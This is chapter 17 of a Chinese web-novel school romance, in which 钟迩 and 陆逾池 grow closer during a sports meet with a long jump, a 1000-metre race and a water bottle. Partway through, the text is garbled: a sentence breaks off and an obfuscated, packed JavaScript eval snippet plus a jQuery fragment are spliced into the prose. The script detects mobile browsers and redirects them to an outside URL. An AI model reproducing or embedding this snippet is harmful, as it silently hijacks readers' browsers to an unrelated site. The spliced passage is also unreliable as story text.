17. 逐耳
作品:《逐耳》 课间的喧哗像潮水般涨落。
盛圆突然一个用力地推搡,使得钟迩失衡感来得猝不及防,她连人带椅子向左倒去。
钟迩下意识闭上眼,准备迎接着地的痛感,但预想中的疼痛没有到来。
一双手臂稳稳地托住了她,随即她落入一个含有清淡木质香味的怀抱中。
支撑有力且掌心温热。
钟迩隔着微薄的衣服,她能感受到对方绷紧的肌肉,并且在这个怀抱里定格了好久。
时间仿佛也被拉长。
她惊魂未定地睁开眼,首先看到的是像Luis的那张侧脸。
然后是微微滚动的喉结。
再往上,对上的是那双好看的桃花眼。
陆逾池接住的她啊!
他微微蹙眉,绅士手小心将她扶正。
钟迩磕巴道:“谢谢。”
而后她的脸颊后知后觉地红起来,不知是因为惊吓还是刚才过于亲密的距离。
陆逾池轻咳一声,莫名的也有点脸热。
这姑娘真软……身上还有一股淡淡的、好闻的奶香味。
他质问盛圆:“她真是你好朋友?”
“咋了?”盛圆说得坚定:“当然是!”
“那你还这么害她?”
“……”她有点心虚,事出有因,一时间没办法反驳。
“什么事?”他看着钟迩,声音不高,说不出情绪与否。
盛圆用胳膊肘蹭了蹭钟迩,还给她使眼色,想让她抓紧忽悠,哦不,劝一下陆逾池报一千米。
事到如此,钟迩只能临危受命地答应。
“你能……”话突然说出来好像有点突兀,钟迩两眼一横:“你跑步是不是很慢?”
“……”
陆逾池眼睛微眯。
他身后的蒋子楠蹦出来,帮他正名:“你说他别的还行,但这速度方面他可是人中赤兔,他要说第二没人敢说第一。”
“我不信!”钟迩大着胆子,喊道。
陆逾池眉心都快能夹死一只苍蝇了。
他在想,这小姑娘之前还在说喜欢她,怎么现在字字句句都在贬低他?
喝了几两?
又吃了几粒花生米?
这么敢说!
陆逾池打算跟她玩玩:“那怎么你才信?”
“除非……”钟迩又被盛圆轻微肘击了下:“你能报一千米。”
“就这?”
“就这。”
钟迩有点心虚,差点咬到舌头。
陆逾池余光看见盛圆那如负释重的表情,全都明白了。
原来是在这里等着他呢。
之前就问过他要不要报运动会项目,他觉得无趣,想都没想就拒绝了。
这是非让他在全校师生面前好好表现一番啊?
竟还派了个抖得像是得了帕金森,胆子比沙粒还小的人当说客。
不达目的誓不罢休呗。
“那就报,让你瞧瞧哥的速度。”他的语气格外轻挑。
说完,他冲她微微颔首,便转身回到自己的座位。
耳机一带,谁都不爱。
钟迩转头看了看他,心跳如鼓。
他这就答应了?
周身短暂的寂静被打破,窃窃私语和低笑响起。
盛圆凑过来,挤眉弄眼地说:“还得是你,看来你们的交情不错嘛。”
说着,她将陆逾池的名字记在报名表上。
钟迩没有立马理她,指盖无意识地掐了掐指肚。
陆逾池又救了她一次。
-
“迩迩,你别抖啊!”盛圆拍了拍钟迩抖成筛子的腿。
“圆圆,我害怕。”
“别怕,眼一闭一睁,助个跑就过去了。”
盛圆看着前面的大坑,帮她加油鼓劲。
钟迩以前从来没有参加过运动会的项目,本来觉得跳远不用跑那么长时间,也不会累。
但是!
她怎么会如此紧张?
尤其是看到前面的大坑、还有五六个人就轮到她以及那条关乎好坏的白色分割线。
“万一跳不远怎么办?”钟迩担心自己不能为班级赢得荣誉,拖后腿。
“你能报这个项目就很棒了,别有压力,反正咱们班已经从那间‘牢房’里出来了,随便跳跳就行。”
钟迩听到她这样说,心里放宽了许多。
她深呼吸,刚想要往前走几步,就听到有人笑话她的声音。
“这小身板能跳一厘米吗?”
俩人转身,看到的是以陆逾池为首的小团体。
钟迩下意识地往盛圆身后藏了藏。
盛圆脸上闪过一抹杀气:“八班在那边,这里是我们十三班的地盘,你是不是想被群殴?”
沈付不以为然:“我兄弟在哪儿我就在哪儿,学校又不是你家开的,管那么宽你家住海边啊?”
“你!”盛圆火大,正想动手的时候钟迩拉住她:“圆圆,老师正看着呢。”
她瞥了眼右侧方管纪律的老师,使劲按耐下脾气。
而后她瞪了沈付一眼,算他运气好,逃过一劫。
可惜,沈付这个愣头青看不清局势,还想斗气,但为了班级荣誉,蒋子楠不得不揽住他。
“敢欺负我们家小耳朵,信不信整个十三班与你为敌,你想象一下,十九位男生无处不在,吃饭的时候,上厕所的时候,甚至是做梦的时候……”
沈付身子一哈撒,那、他不得罪这个祖宗就可以了吧?
整这么吓人干什么!
但蒋子楠的话,瞬间引起其他两个人的不适。
什么叫他们家的小耳朵。
盛圆不轻不重地‘啧’一声。
陆逾池直接拽着他的衣领将他拉到后面,冰冷的眼神射杀在他的身上。
他怂得很,也只好默默退场。
可不想被陆逾池肘击。
看向钟迩的时候,陆逾池的眼色变得柔和了些。
“前三。”
钟迩疑惑以及其他几位:“啊?”
“你拿前三。”陆逾池语气坚定:“我说的。”
嗯……
钟迩怔住,他鼓励别人的方式好像有点…霸道。
就好像这场跳远比赛是他出资开办的,他说谁第一谁就第一似的。
但她怎么越看陆逾池越紧张呢?
他不会要在这里看她跳远吧?
好想找个地缝钻进去,早知道她就听盛圆的话多练练了。
也不至于如此丢人。
钟迩错开视线。
盛圆说出了她的心里话:“陆逾池你以为运动会是你家办的啊?说前三就前三,你不会贿赂裁判了吧?”
沈付头一次认可盛圆:“就是阿池,你这是喝了几两?”
蒋子楠也不落队:“我们阿池最近是不是发烧了?”
某人不屑一顾,他说话这么没有说服力吗?
不信就瞧好了。
他没有跟他们打嘴仗。
“到你了。”
钟迩前面的人已经在准备了,说快也快,一眨眼地功夫那人就跳完了。
她小步挪到白线前,攥紧拳头,浑身都冒汗了,又踌躇了好久,终于往下伏了伏身子。
可她还没等跳呢,身后的沈付开始小声蛐蛐:“小耳朵厉害啊,都不带助跑的。”
话刚说完,三道锋利的眼神剜向他。
他在嘴边做了个拉拉链的手势。
靠,就他一个外班的人,呜呜呜他们十三班的欺负人,欺负他没有人撑腰。
钟迩使劲一跃,越过了那条仿佛掌管命运的白线。
嘎嘎嘎……
四人静止,好像这是一场木头人的游戏,谁先动谁就输了。
然后,其他三人默契地看向陆逾池,这就是能拿前三的选手?
沈付不禁笑出了声。
这距离还没有他小腿长,甚至他一只脚都能量过来。
陆逾池耸了耸肩,依旧是很自信的模样。
一会儿还要参加一千米,他没等钟迩过来就转身去准备了。
很快裁判将比赛前三名去主席台领奖的运动员报了上去。
念到钟迩名字的时候,大家都懵住了。
陆逾池是神吗?
这都能预料到!
第三名,还真的是前三啊。
这对吗?
十几人参加,好多人比钟迩跳得远,她为什么能拿第三?
钟迩拿着属于第三名的铜牌回来,班里的同学都为她欢呼。
盛圆捂着嘴偷笑,还用肩膀碰了碰她:“我家迩迩真棒。”
钟迩攥着铜牌,微微一笑:“我也没有想到。”
“陆逾池牛大发了,真给他预判到了。”
钟迩闻声抿了抿嘴唇,他确实好厉害。
可依据是什么?
在她平平淡淡且被‘控制’的人生里,陆逾池的出现好像给她带了新的希望。
最起码她有了情绪,也爱与人接触,更愿意说话了。
所以,她不该听秦淑华的话,她不要离陆逾池远点。
即使秦淑华生气也不要。
钟迩暗暗地下了这个决定。
当她回过神时,手里莫名其妙的多了一瓶水。
“迩迩,你去给陆逾池送水呗。”
“他渴吗?”
“……”盛圆被她幽默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085669|194998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到:“一千米跑下来又累口又干,我一会儿还要组织同学们写加油词,你帮我去送一下呗。”
盛圆被陆逾池的预料震慑住了,心里默默地又转变了对他的看法。
她就算是傻子也看得出来陆逾池的心思,肯定是对她家迩迩有点意思喽。
钟迩除了学习什么都傻,自然不懂这些。
自从认识陆逾池后,每天眼珠子落在他身上比课本上都多,她可不得帮帮她嘛。
其实,陆逾池人挺好的,左右只有一点不好,那就是……前女友太多。
“那好吧。”刚迈出一步,钟迩返回:“圆圆,你跟沈付为什么见面就吵架啊?”
一说这个盛圆就来气:“你还记得我最喜欢的那个杯子吗?被蹭掉漆凹进去一块的那个。”
钟迩点头,她当然记得,那是盛叔叔给盛圆的礼物。
盛方荣至今还没有被调到宜城,平时工作忙很少回来,但他不管大节小节都会往家寄礼物。
心里牵挂着老婆孩子。
盛圆一年到头很少见到爸爸,所以、以物寄情。
她总是小心翼翼地呵护着盛方荣给她的礼物,每次都亲自打水,为的就是怕别人不知道它的重要性给磕碰了。
“我那次去打水,回来时靠边走也没有挡路,可沈付跟别人打闹撞到了我,把杯子给我撞掉了,我很生气找他理论,他不仅没有道歉还说只是一个破杯子有什么了不起的,这样的杯子他都用来冲厕所……”
这话一出,直接激怒了盛圆。
女生打架无非是薅头发,拧人掐人和呼巴掌踹脚,一整套都使在了沈付的身上。
两个人也因此结仇。
一见面就成了欢喜冤家。
原来是这样啊。
钟迩本来觉得沈付被欺负很可怜,但现在她认为苍蝇不叮无缝蛋,一切都是有迹可循的。
“迩迩,你快去。”盛圆把她往前一推:“要开始,你去终点等着陆逾池。”
“好。”
枪声撕裂整个操场,八个人同时弹出去。
陆逾池首当其冲,这几圈对他来说没什么问题,平时训练的时候比这残酷的时候都有。
很快他就套了其他运动员一圈。
十三班的同学全体起立为他加油呐喊,声音比给钟迩加油时还有热烈。
钟迩的视线紧紧跟随着他,看着他在操场上健步如飞。
周围的人仿佛都黯淡下去,她的眼里此刻好像只有陆逾池一个人。
她不禁想起秦越年说过的话:见不到的时候心不在焉,想联系又怕打扰他,见到的时候想如影随形,心却无处安放……
脸霎时间烧了起来。
钟迩即刻控制住自己的想法,她是疯了吗?
她摇摇头,看着陆逾池冲向那条属于胜利的红线。
但他没有停下,任由惯性拖着身体往前又跑了几步。
他双手撑住膝盖,吐着口中的热气。
这时候,钟迩还抱着水站在原地。
盛圆看不下去了,再不过去这水也就不需要了。
她拍了下钟迩:“快去啊!”
“哦好。”
钟迩这才动身走到他的身边。
但她没有说话,也没有递水。
默默无声地看着他喘息。
陆逾池闻到熟悉的奶香味,侧脸看向她,热水吐到她的脸上:“这水是给我的?”
钟迩点头。
陆逾池笑了笑,这小姑娘还算有点良心。
他从她怀里将水抽出来,拧开瓶盖昂头灌水,喉结跟着吞咽的动作滚动。
不一会儿,一瓶水下去了一大半。
钟迩看着阳光下挺拔站立的少年,光撒在他每一颗汗珠上,映得他发出彩虹般的光芒。
好好看。
……
手里的奖牌突然也被抽走。
“这是我的!”钟迩看着自己好不容易得来的奖牌被抢走,有点不乐意了。
“一个铜的有什么稀罕的,待会儿给你换个金的。”
“啊?”钟迩没明白他的意思。
陆逾池笑了笑:“傻样儿。”
“你骂我?”
某人点点头:“才听出来?笨得嘞。”
“……”钟迩鼓着腮帮,眼里带着一丝幽怨:“你才傻!你才笨!”
“我傻、我笨还能知道你会得前三?”
是哦。
钟迩被忽悠走智商,抬头看向那双诱人的桃花眼。
“那你是怎么知道的啊?”
“想知道?”
钟迩迫不及待地点头。
但他不说,卖了个关子:“想知道的话,明天跟我去赛车场。”

